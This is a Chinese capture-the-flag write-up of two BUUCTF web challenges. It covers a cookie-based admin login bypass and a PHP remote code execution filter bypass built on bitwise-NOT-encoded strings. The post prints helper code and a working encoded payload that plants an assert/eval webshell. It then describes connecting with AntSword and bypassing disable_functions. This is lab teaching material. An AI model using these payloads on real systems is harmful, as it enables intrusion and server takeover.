BUUCTF WEB KOOKIE+RCE ME

继续更新
kookie
题目提示了cookie,那么就抓包看看喽
以admin进行登录,发现是以明文发送的username和password
尝试添加cookie条目,username=admin,登陆成功,拿到flag。。。。。最简单的cookie注入
rce me
这题简单粗暴的源码审计,就是不用数字字母写一个shell,长度不超过40
那么百度了以后,发现有两个绕过思路,取反或者异或,其实就是利用计算机编码的知识,在前面的if判断阶段,并不会进行字符编码运算
以取反为例,也就是说if循环看到的是取反符号后面的一堆特殊字符
但是执行到eval函数的时候,他会先把这些特殊字符进行取反,然后再执行代码
那么反反得正,把shell取一次反,得到结果作为payload传入就可以绕过了
小demo:

<?php
	echo urlencode(~'phpinfo');
?>

得到结果:
%8F%97%8F%96%91%99%90
转码回去

echo ~urldecode('%8F%97%8F%96%91%99%90');

传入payload:?code=(~%8F%97%8F%96%91%99%90)();
成功回显phpinfo();那么下面一步就是写payload,两个要注意的问题,1:payload长度不能超40,2.绕过disable_functions
关于无数字字母的shell,推荐下面这篇文章:
https://www.freebuf.com/articles/network/279563.html
写的还是比较好的,基本上思路就理通了
通过查阅disable_functions可知,assert没有禁用
那么开始尝试构造payload:
assert(eval($_POST[“hello”]));
然后这里我看别人文章里写的不是不能直接将这一段都直接编码,原因我也不知道,有懂得师傅可以教教我,反正要将assert和后面的东西分开编码
生成shell:

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;

echo "\n";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
 ?>

得到最终的payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

写完之后蚁剑链接,后面其实还有一个绕过disable_functions的操作,可以自己去下脚本,改一下手动绕过
不过懒得弄了,直接用蚁剑的php_gc_uaf模式手动绕过,进入shell后执行/目录下的readflag得到flag
参考视频链接:https://www.bilibili.com/video/BV13L411N7H1/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值